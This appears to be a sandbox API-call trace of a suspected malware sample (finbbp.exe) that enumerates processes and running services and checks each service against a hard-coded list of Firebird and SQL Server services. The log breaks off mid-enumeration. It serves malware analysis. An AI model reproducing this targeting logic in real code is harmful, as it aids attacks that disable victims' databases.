Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.006] lstrlenW (lpString="csrss.exe") returned 9 [0230.006] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.006] lstrlenW (lpString="wininit.exe") returned 11 [0230.006] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.007] lstrlenW (lpString="csrss.exe") returned 9 [0230.007] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.007] lstrlenW (lpString="winlogon.exe") returned 12 [0230.007] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.008] lstrlenW (lpString="services.exe") returned 12 [0230.008] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.009] lstrlenW (lpString="lsass.exe") returned 9 [0230.009] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.009] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.009] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.010] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.010] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.011] lstrlenW (lpString="svchost.exe") returned 11 [0230.011] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.011] lstrlenW (lpString="svchost.exe") returned 11 [0230.011] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.012] lstrlenW (lpString="dwm.exe") returned 7 [0230.012] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.012] lstrlenW (lpString="svchost.exe") returned 11 [0230.012] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.013] lstrlenW (lpString="svchost.exe") returned 11 [0230.013] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.013] lstrlenW (lpString="svchost.exe") returned 11 [0230.013] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.014] lstrlenW (lpString="svchost.exe") returned 11 [0230.014] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.015] lstrlenW (lpString="svchost.exe") returned 11 [0230.015] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.015] lstrlenW (lpString="svchost.exe") returned 11 [0230.015] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.016] lstrlenW (lpString="svchost.exe") returned 11 [0230.016] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.016] lstrlenW (lpString="svchost.exe") returned 11 [0230.016] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.017] lstrlenW (lpString="svchost.exe") returned 11 [0230.017] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.017] lstrlenW (lpString="svchost.exe") returned 11 [0230.017] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.018] lstrlenW (lpString="spoolsv.exe") returned 11 [0230.018] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.019] lstrlenW (lpString="svchost.exe") returned 11 [0230.019] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.019] lstrlenW (lpString="audiodg.exe") returned 11 [0230.020] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0230.020] lstrlenW (lpString="sihost.exe") returned 10 [0230.020] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.021] lstrlenW (lpString="svchost.exe") returned 11 [0230.021] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0230.021] lstrlenW (lpString="taskhostw.exe") returned 13 [0230.021] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0230.022] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0230.022] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0230.023] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0230.023] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0230.023] lstrlenW (lpString="Memory Compression") returned 18 [0230.023] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.024] lstrlenW (lpString="explorer.exe") returned 12 [0230.024] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0230.024] lstrlenW (lpString="SearchUI.exe") returned 12 [0230.024] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0230.025] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0230.025] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0230.026] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0230.026] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0230.026] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0230.026] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0230.027] lstrlenW (lpString="finbbp.exe") returned 10 [0230.027] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.027] lstrlenW (lpString="cmd.exe") returned 7 [0230.027] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.028] lstrlenW (lpString="conhost.exe") returned 11 [0230.028] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0230.028] lstrlenW (lpString="mode.com") returned 8 [0230.028] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0230.029] CloseHandle (hObject=0x418) returned 1 [0230.029] Sleep (dwMilliseconds=0x1f4) [0230.538] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aad08 [0230.539] EnumServicesStatusExW (in: hSCManager=0x41aad08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0230.540] GetLastError () returned 0xea [0230.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x425eeb8 [0230.540] EnumServicesStatusExW (in: hSCManager=0x41aad08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x425eeb8, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x425eeb8, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0230.541] CloseServiceHandle (hSCObject=0x41aad08) returned 1 [0230.541] lstrlenW (lpString="AppXSvc") returned 7 [0230.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0230.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0230.541] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0230.542] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0230.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0230.542] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0230.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.542] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0230.542] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0230.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0230.542] lstrlenW (lpString="Audiosrv") returned 8 [0230.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0230.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0230.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0230.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0230.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0230.542] lstrlenW (lpString="BFE") returned 3 [0230.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0230.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0230.542] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0230.542] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0230.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0230.542] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0230.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0230.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0230.542] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0230.542] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0230.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0230.542] lstrlenW (lpString="CDPSvc") returned 6 [0230.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0230.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0230.543] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0230.543] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0230.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0230.543] lstrlenW (lpString="ClickToRunSvc") returned 13 [0230.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0230.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0230.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0230.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0230.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0230.543] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0230.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0230.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0230.543] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0230.543] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0230.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0230.543] lstrlenW (lpString="CryptSvc") returned 8 [0230.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0230.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0230.543] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0230.543] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0230.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0230.543] lstrlenW (lpString="DcomLaunch") returned 10 [0230.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0230.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0230.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0230.544] lstrlenW (lpString="DeviceAssociationService") returned 24 [0230.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0230.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0230.544] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0230.544] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0230.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0230.544] lstrlenW (lpString="Dhcp") returned 4 [0230.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0230.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0230.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0230.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0230.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0230.544] lstrlenW (lpString="Dnscache") returned 8 [0230.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0230.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0230.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0230.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0230.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0230.544] lstrlenW (lpString="DPS") returned 3 [0230.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0230.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0230.544] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0230.544] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0230.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0230.544] lstrlenW (lpString="DusmSvc") returned 7 [0230.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0230.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0230.544] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0230.545] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0230.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0230.545] lstrlenW (lpString="EventLog") returned 8 [0230.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0230.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0230.545] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0230.545] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0230.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0230.545] lstrlenW (lpString="EventSystem") returned 11 [0230.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0230.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0230.545] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0230.545] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0230.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0230.545] lstrlenW (lpString="FontCache") returned 9 [0230.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0230.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0230.545] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0230.545] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0230.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0230.545] lstrlenW (lpString="gpsvc") returned 5 [0230.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0230.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0230.545] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0230.545] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0230.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0230.545] lstrlenW (lpString="iphlpsvc") returned 8 [0230.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0230.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0230.546] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0230.546] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0230.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0230.546] lstrlenW (lpString="KeyIso") returned 6 [0230.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0230.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0230.546] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0230.546] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0230.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0230.546] lstrlenW (lpString="LanmanServer") returned 12 [0230.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0230.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0230.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0230.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0230.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0230.546] lstrlenW (lpString="LanmanWorkstation") returned 17 